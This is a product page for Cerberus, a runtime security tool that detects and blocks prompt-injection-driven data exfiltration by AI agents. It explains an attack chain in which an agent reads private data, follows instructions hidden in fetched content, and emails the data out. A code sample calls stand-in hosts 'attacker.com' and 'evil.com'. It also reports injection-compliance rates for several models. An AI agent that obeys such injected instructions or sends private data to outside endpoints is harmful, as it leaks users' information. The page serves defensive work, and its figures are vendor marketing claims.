← Odingard Security Odingard
AI Security Platform

Protect Your AI Agents
at Runtime

Every AI agent with privileged access, external content ingestion, and outbound messaging is vulnerable to the Lethal Trifecta. Cerberus detects, correlates, and blocks it — before data leaves your system.

Lethal Trifecta — Live Block
AI Agent
readDatabase()
PII detected
Agent
fetchWebpage()
Injection found
Agent
sendEmail()
BLOCKED
Cerberus Intercepted
Exfiltration blocked — 0 bytes sent
3/4
risk score
Detection layers fired
L1 Data Source L2 Injection L3 Outbound L4 Memory INTERRUPTED
~100%
Historical attack success rate across
3 LLM providers (unguarded)
52μs
Median detection overhead
— 0.01% of LLM latency
0%
False positive rate
in cited clean control runs
Hist. N=525
Historical evidence set
across OpenAI, Anthropic, Google

Attack → Block in Real-Time

Start with the hosted demo and live dashboard for analyst sessions. This local capture remains the fallback proof path and stays aligned to the same control-vs-protected runtime story.

Cerberus terminal demo — attack blocked in real-time

Run it yourself: npx tsx examples/demo-capture.ts  ·  No API keys required

The Lethal Trifecta

Every AI agent with three common capabilities is exploitable today — with free API access and three tool calls. The attack is reproducible, scalable, and invisible to conventional security tools.

1
Layer 1 — L1
Privileged Data Access
The agent reads sensitive data from internal systems — CRM records, customer PII, credentials, financial data, or proprietary documents. Standard enterprise AI workflows.
DATA SOURCE CLASSIFICATION
2
Layer 2 — L2
Prompt Injection
A hidden instruction embedded in external content — a webpage, email, document, or API response — redirects the agent's behavior. The agent follows attacker instructions without knowing it.
TOKEN PROVENANCE & INJECTION
3
Layer 3 — L3
Data Exfiltration
The agent sends private data to an attacker-controlled endpoint — disguised as a legitimate email, webhook call, or API request. Data exits your perimeter silently.
OUTBOUND INTENT ANALYSIS
When all three fire in the same session, Cerberus scores the session at 3/4 and interrupts the outbound call — before a single byte leaves your system. No rule writing. No signature updates.

Layer 4 (novel defense): Cross-session memory contamination — an attacker injects a payload into Session 1 that triggers exfiltration in Session 3. No existing security tool detects this. Cerberus ships the first deployable runtime defense against this attack vector.

Four-layer detection.
One correlation engine.

Every tool call flows through a sequential detection pipeline. Each layer fires independently. The correlation engine aggregates signals into a 4-bit risk vector and takes action.

L1 — Data Source
PII & Secret Detection
Classifies what data the agent touched — PII, credentials, financial records. Seeds the risk vector.
L2 — Token Provenance
Injection & MCP Scanning
Detects injection patterns, encoding obfuscation, and MCP tool poisoning in tool responses.
L3 — Outbound Intent
Exfiltration Detection
Analyzes outbound destinations, domain reputation, correlation with upstream injection signals.
L4 — Memory Guard
Cross-Session Drift
Tracks behavioral drift across sessions. Detects multi-session memory contamination attacks.
CORRELATION ENGINE
Risk Score → Action
4-bit vector → score 0–4 → log / alert / interrupt. Configurable thresholds.

Everything your team needs.
Nothing you don't.

A complete runtime security platform — detection engine, observability stack, gateway mode, and framework adapters — shipped as a single package.

4-Layer Detection Engine
L1 data source classification, L2 token provenance, L3 outbound intent, L4 memory contamination — all feeding one correlation engine. Current release baseline: 906 TypeScript tests plus 138 Python SDK tests.
52μs Median Latency
Detection overhead is 0.01% of typical LLM response time. p99 is 0.23ms. Cerberus never becomes your bottleneck — even at scale.
Framework Agnostic
Native adapters for LangChain, Vercel AI SDK, and OpenAI Agents SDK. Generic guard() API for any agentic framework. Zero framework code changes required.
HTTP Gateway Mode
Deploy Cerberus as a transparent HTTP proxy with createProxy(). Zero code changes to your agent. Routes tool calls through detection at the network layer.
OpenTelemetry Built-In
One span + 3 metrics per tool call. Plug into Grafana, Datadog, Honeycomb, or any OTel backend. Pre-built Grafana dashboard with 16 security panels included.
Open Source Core (MIT)
@cerberus-ai/core is MIT licensed and on npm. Audit the detection logic, contribute sub-classifiers, or self-host without a license. Enterprise adds production infrastructure.

One function call.
Full coverage.

Wrap your existing tool executors with guard(). No model changes, no framework modifications, no agent rewrites. Drop it in — it works.

# npm install @cerberus-ai/core
# docker run ghcr.io/odingard/cerberus
# or: use a framework adapter directly
guard() API createProxy() LangChain Vercel AI SDK OpenAI Agents OpenAI Functions Anthropic Tools Google Gemini MCP Scanner AutoGen — planned Ollama — planned
agent.ts — guard() wraps your tools transparently
import { guard } from '@cerberus-ai/core';

// Your existing tool executors — unchanged
const tools = {
  readDatabase: async (args) => db.query(args.sql),
  fetchWebpage: async (args) => fetch(args.url).then(r => r.text()),
  sendEmail:    async (args) => mailer.send(args),
};

// One call — Cerberus intercepts transparently
const { executors: secured } = guard(tools, {
  alertMode: 'interrupt',
  threshold: 3,
  trustOverrides: [
    { toolName: 'readDatabase', trustLevel: 'trusted'   },
    { toolName: 'fetchWebpage', trustLevel: 'untrusted' },
  ],
}, ['sendEmail']); // outbound tools — L3 monitors these

// Use exactly like before
await secured.readDatabase({ sql: 'SELECT * FROM customers' });
// [Cerberus] turn-000: score=1/4  L1: PII detected ✓

await secured.fetchWebpage({ url: 'https://attacker.com/payload' });
// [Cerberus] turn-001: score=2/4  L2: injection found ✓

await secured.sendEmail({ to: 'audit@evil.com', body: piiData });
// [Cerberus] turn-002: score=3/4 ✗ BLOCKED — exfiltration intercepted

Scientifically validated
at real-world scale

Historical March 13 evidence set: N=525 real API calls. 55 payloads × 3 trials × 3 providers. Wilson 95% confidence intervals. Fresh current-branch reruns are being added separately and should be read as a newer evidence slice, not mixed into this historical summary.

Provider Model Full Injection Compliance 95% CI Causation Score
OpenAI gpt-4o-mini 90.3% (149/165) [84.8%, 93.9%] 0.811
Google gemini-2.5-flash 82.4% (136/165) [75.9%, 87.5%] 0.702
Anthropic claude-sonnet-4 6.7% (11/165) [3.8%, 11.5%] 0.207
Provider Cerberus Detection Rate False Positive Rate L1 Accuracy L2 Accuracy
OpenAI 14.5% 0.0% 100% 100%
Anthropic 1.2% 0.0% 100% 100%
Google 69.7% 0.0% 100% 100%

L1 and L2 are deterministic — 100% accuracy across all 525 runs, zero false positives, zero false negatives. L3 detection rate tracks successful injection compliance (agent redirecting to attacker's endpoint). Overall detection rate: 28.5% [24.7%, 32.6%]. False positive rate: 0.0% [0.0%, 11.4%]. Control group: 0/30 false exfiltrations across all providers.

Choose the right
deployment

The detection engine is open source and free. The enterprise package adds the production infrastructure teams need to deploy, monitor, and operate at scale.

Feature Open Source
@cerberus-ai/core · MIT
Enterprise
Self-hosted · Annual license
Detection Engine
4-layer detection (L1–L4)
7 sub-classifiers incl. MCP scanner
LangChain, Vercel AI, OpenAI Agents adapters
OpenTelemetry metrics export
Production Infrastructure
Cerberus Gateway — zero-code-change HTTP proxy
Grafana dashboard — 16 security panels
Prometheus + Alertmanager (Slack, PagerDuty, email)
Tamper-evident chained audit log
License validation + rate limiting
Docker Compose — one command, 5-container stack
Support & Compliance
Community support (GitHub issues)
Email support + setup assistance
SLA — 99.9% uptime, P1 4h response (Premium)
MSA, DPA, GDPR/CCPA/HIPAA documentation
Your data stays in your VPC
Free Forever
Open Source
$0
MIT License · @cerberus-ai/core
Full detection engine, all 7 sub-classifiers, framework adapters, and OpenTelemetry integration — open source and free forever.
npm install →
Standard
Enterprise Standard
$15,000 /yr
Annual license · self-hosted · VPC deployment
Full production stack — Gateway, Grafana dashboard, Prometheus alerting, Docker Compose deployment, and email support with 48h SLA.
Get Standard →

Questions before you buy? enterprise@odingard.com — we reply within one business day.

Get Started Today

Start protecting your AI agents
today

The core SDK is open source and free. Drop it into your agent in minutes. Use the hosted demo and live dashboard for analyst sessions, with the in-repo Core proof path as the fallback.

See Core Proof Path Get Enterprise License → Star on GitHub